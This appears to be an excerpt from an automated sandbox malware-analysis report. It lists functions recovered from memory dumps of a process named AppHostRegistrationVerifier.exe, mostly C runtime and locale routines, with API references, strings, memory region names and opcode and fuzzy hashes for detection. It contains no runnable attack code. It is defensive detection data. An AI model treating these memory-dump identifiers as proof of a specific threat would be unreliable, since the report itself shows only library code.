Opcode ID: 469392321220292678121771e2b83d9ed3d81f04e07b0e1c96735e1e08e52eb7
Instruction ID: db0ab75a02efaf25d8a78aea0f8cb53f80e0f5515ee98842085988d050a308e4
Opcode Fuzzy Hash: 469392321220292678121771e2b83d9ed3d81f04e07b0e1c96735e1e08e52eb7
Instruction Fuzzy Hash: FE415E74A1134041FD69A3F954923F962829BA87B4F244B27FD3A076F6DE38D89142C0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF0C340 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0C373
std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0C391
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0C3BA
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0C3F1
std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0C482
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000001D26BF0C4C9
_Getctype.LIBCPMT ref: 000001D26BF0C4E0
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0C56D
std::_Facet_Register.LIBCPMT ref: 000001D26BF0C575

Strings

bad locale name, xrefs: 000001D26BF0C58F

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2236780835-1405518554
Opcode ID: 84f845c7395af883afbd4713bf45e3f9453c6d5e058cdc54d97057b04adc227e
Instruction ID: ac365cfbc070426c90a3d132e0707404c1c0fb1156b31210134ca8158cbf2676
Opcode Fuzzy Hash: 84f845c7395af883afbd4713bf45e3f9453c6d5e058cdc54d97057b04adc227e
Instruction Fuzzy Hash: AD714636705B8084FB11DBB5E4603EC33B1AB68B88F494516EE6E176BADE34C056C390

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF0DC30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0DC63
std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0DC81
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0DCAA
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0DCE1
std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0DD72
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000001D26BF0DDB9
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0DE45
std::_Facet_Register.LIBCPMT ref: 000001D26BF0DE4D

Strings

bad locale name, xrefs: 000001D26BF0DE67

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 3126792616-1405518554
Opcode ID: 45feef5d61a4b5040c7faa03c321c7e06624f11e6bc0219792dcdf7ad0a43585
Instruction ID: 9c87b36755715955b5dba20c678e9a98dfff5b5f775f077a439bc1382fa3dd58
Opcode Fuzzy Hash: 45feef5d61a4b5040c7faa03c321c7e06624f11e6bc0219792dcdf7ad0a43585
Instruction Fuzzy Hash: EF613736742B4098EB20DBB5E4607EC73B5AB74788F584417EE6A17BBADE34C416C380

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF32D54 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,00000000,000001D26BF3345C,?,?,?,?,000001D26BF2B3D5,?,?,?,?,000001D26BF199E8), ref: 000001D26BF32ED0
GetProcAddress.KERNEL32(?,00000000,00000000,000001D26BF3345C,?,?,?,?,000001D26BF2B3D5,?,?,?,?,000001D26BF199E8), ref: 000001D26BF32EDC

Strings

ext-ms-, xrefs: 000001D26BF32E2D
api-ms-, xrefs: 000001D26BF32E1A

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 4002f834454cd8eaa4f2a2694728c93aee7525feda8ba5f81ca4ffa9b7042521
Instruction ID: e941abcaf3ae2fbb86bfd2bc668b79bfb70b8b84a35dd5be8d8ef7131423b909
Opcode Fuzzy Hash: 4002f834454cd8eaa4f2a2694728c93aee7525feda8ba5f81ca4ffa9b7042521
Instruction Fuzzy Hash: 0341CF71311B5082FA25DB3AA8147D52395BB68BA0F084527ED395B7B4EF7DC88583C0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B4DFC Relevance: 12.1, APIs: 8, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001D26B9B4E19

Part of subcall function 000001D26B9B95C0: _errno.LIBCMT ref: 000001D26B9B95C9
Part of subcall function 000001D26B9B95C0: _invalid_parameter_noinfo.LIBCMT ref: 000001D26B9B95D4

_errno.LIBCMT ref: 000001D26B9B4E29
_errno.LIBCMT ref: 000001D26B9B4E45
_isatty.LIBCMT ref: 000001D26B9B4EA6
_getbuf.LIBCMT ref: 000001D26B9B4EB2
_write.LIBCMT ref: 000001D26B9B4EE5
_lseeki64.LIBCMT ref: 000001D26B9B4F34
_write.LIBCMT ref: 000001D26B9B4F5E

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _errno$_write$_fileno_getbuf_invalid_parameter_noinfo_isatty_lseeki64
String ID:
API String ID: 1181469889-0
Opcode ID: 79ef39676feb26cd1076af2b9fef8a9949e186680c1def551f3603964d15719c
Instruction ID: 652a14ccd4960f3c032f839d7e86878deed29892c76594d61da9b4a10e6d2529
Opcode Fuzzy Hash: 79ef39676feb26cd1076af2b9fef8a9949e186680c1def551f3603964d15719c
Instruction Fuzzy Hash: 1F41047221A7448AEB589F28C4413EE3BA1E764B90F14421BDE75473CEDB34C950DF80

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B42B8 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D26B9B42CA
_invalid_parameter_noinfo.LIBCMT ref: 000001D26B9B42D5
_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001D26B9B431D
_errno.LIBCMT ref: 000001D26B9B432C
_invalid_parameter_noinfo.LIBCMT ref: 000001D26B9B4337

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::_
String ID:
API String ID: 1633384064-0
Opcode ID: 15c50020e8bbf00a81eb92dd4687c14634f057ed1518558932e50f39ee4a07d2
Instruction ID: 7fd913ba42218b8960bde237c6ab3a33defcd3df231d83736aef827b4a87566b
Opcode Fuzzy Hash: 15c50020e8bbf00a81eb92dd4687c14634f057ed1518558932e50f39ee4a07d2
Instruction Fuzzy Hash: F221A37260E39082FF655B65D5853EF6290A7B47D0F584223EE7507BDDCA78C941AF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF0DE80 Relevance: 10.6, APIs: 7, Instructions: 135COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0DEA6
std::_Lockit::_Lockit.LIBCPMT ref: 000001D26BF0DECA
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0DEF4
std::_Facet_Register.LIBCPMT ref: 000001D26BF0DF6B
std::_Lockit::~_Lockit.LIBCPMT ref: 000001D26BF0DF85
Concurrency::cancel_current_task.LIBCPMT ref: 000001D26BF0DFAD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000001D26BF0E02F

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1531918476-0
Opcode ID: a18b5aa2e67a0ab9527b6c5496f51c205b5f36fe23d6fa339666a46ac6f07d30
Instruction ID: 7447c994b8655401531ad17280b9f8e010daaa70aaef620bde92e2eb1c2d7915
Opcode Fuzzy Hash: a18b5aa2e67a0ab9527b6c5496f51c205b5f36fe23d6fa339666a46ac6f07d30
Instruction Fuzzy Hash: DE416C76200B8491FB24DB35E4643EA7361E7B8B94F584513FE6D477BAEE38C4868380

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9C124F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001D26B9C1257
__DestructExceptionObject.LIBCMT ref: 000001D26B9C127A
__DestructExceptionObject.LIBCMT ref: 000001D26B9C1304
_getptd.LIBCMT ref: 000001D26B9C1309
_getptd.LIBCMT ref: 000001D26B9C1315

Strings

csm, xrefs: 000001D26B9C12D7

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: c9ae09fa4a55485d1181d17fd5fd2d41218f08820b985cf4ee7a341f731e0c10
Instruction ID: 1b07b99b239cae61fe7a4f8fa3f11b2d5a4d49a6fca413e802bd58feb5f22f5e
Opcode Fuzzy Hash: c9ae09fa4a55485d1181d17fd5fd2d41218f08820b985cf4ee7a341f731e0c10
Instruction Fuzzy Hash: C6213976209794C6E630DF52E0407AEB7A1F395BA6F444213DEA943B9ADB38D486CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9C134C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001D26B9C136D
_getptd.LIBCMT ref: 000001D26B9C137B
_getptd.LIBCMT ref: 000001D26B9C138D

Strings

MOC, xrefs: 000001D26B9C135B
RCC, xrefs: 000001D26B9C1353
csm, xrefs: 000001D26B9C1363

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 2a4c0070859512ea9d530b5d1fc23f1a0e042a2e523609d5c6e811ca98ebf693
Instruction ID: ef3f9052711db8dfa5be178c1b49c36b6ff544318ebfc83ed9e2fcdab9583a9a
Opcode Fuzzy Hash: 2a4c0070859512ea9d530b5d1fc23f1a0e042a2e523609d5c6e811ca98ebf693
Instruction Fuzzy Hash: 29F0303550A324C7E7192B50C0063ED35A1F7B5B0BF8685A3DA6046796C77CC8818E12

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF1A68C Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000001D26BF1A6FE
MultiByteToWideChar.KERNEL32 ref: 000001D26BF1A7A6
LCMapStringEx.KERNEL32 ref: 000001D26BF1A7DD
LCMapStringEx.KERNEL32 ref: 000001D26BF1A836
LCMapStringEx.KERNEL32 ref: 000001D26BF1A8E3
WideCharToMultiByte.KERNEL32 ref: 000001D26BF1A925

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: e16af184ea356c3f49173d9e20fc1954a1b4fd25e21703fcce8d9e56f8c218dd
Instruction ID: 41f0c6ca1c87d8ad91d8cb2b28d0bfd1b1c4271a1917bd8675a8bf89bd15ec62
Opcode Fuzzy Hash: e16af184ea356c3f49173d9e20fc1954a1b4fd25e21703fcce8d9e56f8c218dd
Instruction Fuzzy Hash: 2481A23221074086FB208F75E4503E967E1FBA4BA8F544A26FE7957BE8DB7CC4498740

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF2E498 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E4A7
FlsSetValue.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E4DD
FlsSetValue.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E50A
FlsSetValue.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E51B
FlsSetValue.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E52C
SetLastError.KERNEL32(?,?,00008E8C6B22E09E,000001D26BF297E1,?,?,?,?,000001D26BF3488A,?,?,00000000,000001D26BF32C67,?,?,?), ref: 000001D26BF2E547

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a8d25ea4ed91a25f3fc614dc692136d7823c717ed50f3d4cc5b5608b7fdf30e0
Instruction ID: a450a786f14b17a70a70866129a1c46333184f53af9902f56623fccda1447477
Opcode Fuzzy Hash: a8d25ea4ed91a25f3fc614dc692136d7823c717ed50f3d4cc5b5608b7fdf30e0
Instruction Fuzzy Hash: 0411843472134042FA64A7B555923E962819BA87B0F244726FD3647BFAEE78C44243C0

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF04600 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000001D26BF0488E
__std_exception_destroy.LIBVCRUNTIME ref: 000001D26BF048C3
__std_exception_destroy.LIBVCRUNTIME ref: 000001D26BF048CF

Strings

at line , xrefs: 000001D26BF046E1
, column , xrefs: 000001D26BF046F6

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: __std_exception_destroy$_invalid_parameter_noinfo_noreturn
String ID: at line $, column
API String ID: 2506729964-191570568
Opcode ID: 5ca93bfc675bcaf1894f9796160fa737e6c94c4820eadf45f7ffc58a3b022ee8
Instruction ID: b8b52d353ba7ce03b6e02f6c37e2c079e24a267166afafc14e2b1d0ded40d7ca
Opcode Fuzzy Hash: 5ca93bfc675bcaf1894f9796160fa737e6c94c4820eadf45f7ffc58a3b022ee8
Instruction Fuzzy Hash: 2881AC72B10B8486EB04DB79C5113EC6362E7B9BD8F408602EE7D17BAADA38C191C340

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26B9B8D60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000001D26B9B8D78

Part of subcall function 000001D26B9B68B0: _setmbcp.LIBCMT ref: 000001D26B9B68C2

parse_cmdline.LIBCMT ref: 000001D26B9B8DCE
_malloc_crt.LIBCMT ref: 000001D26B9B8DFE
parse_cmdline.LIBCMT ref: 000001D26B9B8E24

Strings

C:\Windows\system32\AppHostRegistrationVerifier.exe, xrefs: 000001D26B9B8D7D

Memory Dump Source

Source File: 0000000C.00000002.4553304526.000001D26B9B1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26B9B0000, based on PE: true

Associated: 0000000C.00000002.4553248485.000001D26B9B0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4555030137.000001D26B9C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4556913260.000001D26B9CD000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557178073.000001D26BAF9000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4557281253.000001D26BAFA000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26b9b0000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: parse_cmdline$__initmbctable_malloc_crt_setmbcp
String ID: C:\Windows\system32\AppHostRegistrationVerifier.exe
API String ID: 1555979256-841292338
Opcode ID: 374dd354ad8d589545830b0966159bf818da3ae6e95c7aa783f0edf0f7cdbf65
Instruction ID: 2e540af053528b03258a3c2e557995d55f6756df9098e1d7714366644d3a7da3
Opcode Fuzzy Hash: 374dd354ad8d589545830b0966159bf818da3ae6e95c7aa783f0edf0f7cdbf65
Instruction Fuzzy Hash: B621A132209B8181EE54DB15E4843DAA7A5F7A97A4F540727EEBC47BECDB38C440CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF041B0 Relevance: 7.8, APIs: 5, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f46e863c4e3820748788178cef4afaa917a1f31fa5cf1f9b74223986b6a2bf
Instruction ID: 6504c06994aa3169fbcf4657d986dceb2484e25fecaaff92155e2e832b34766e
Opcode Fuzzy Hash: a2f46e863c4e3820748788178cef4afaa917a1f31fa5cf1f9b74223986b6a2bf
Instruction Fuzzy Hash: 3AB1AC72B11B8486EB148B79D5113ED6371EBB87A8F408712EEB917BE6DB78C091C340

Uniqueness

Uniqueness Score: -1.00%

Function 000001D26BF30864 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001D26BF308A3
_set_statfp.LIBCMT ref: 000001D26BF308C1
_set_statfp.LIBCMT ref: 000001D26BF308EA
_set_statfp.LIBCMT ref: 000001D26BF30B26

Memory Dump Source

Source File: 0000000C.00000002.4562788863.000001D26BF01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D26BF00000, based on PE: true

Associated: 0000000C.00000002.4562748083.000001D26BF00000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4562965186.000001D26BFE0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563008993.000001D26BFE3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563055819.000001D26BFE7000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C028000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.4563123718.000001D26C128000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1d26bf00000_AppHostRegistrationVerifier.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 449cc4853d1ba0cef52c49eef8ddff3b0cc6347238ac053d2974efbe4f745056
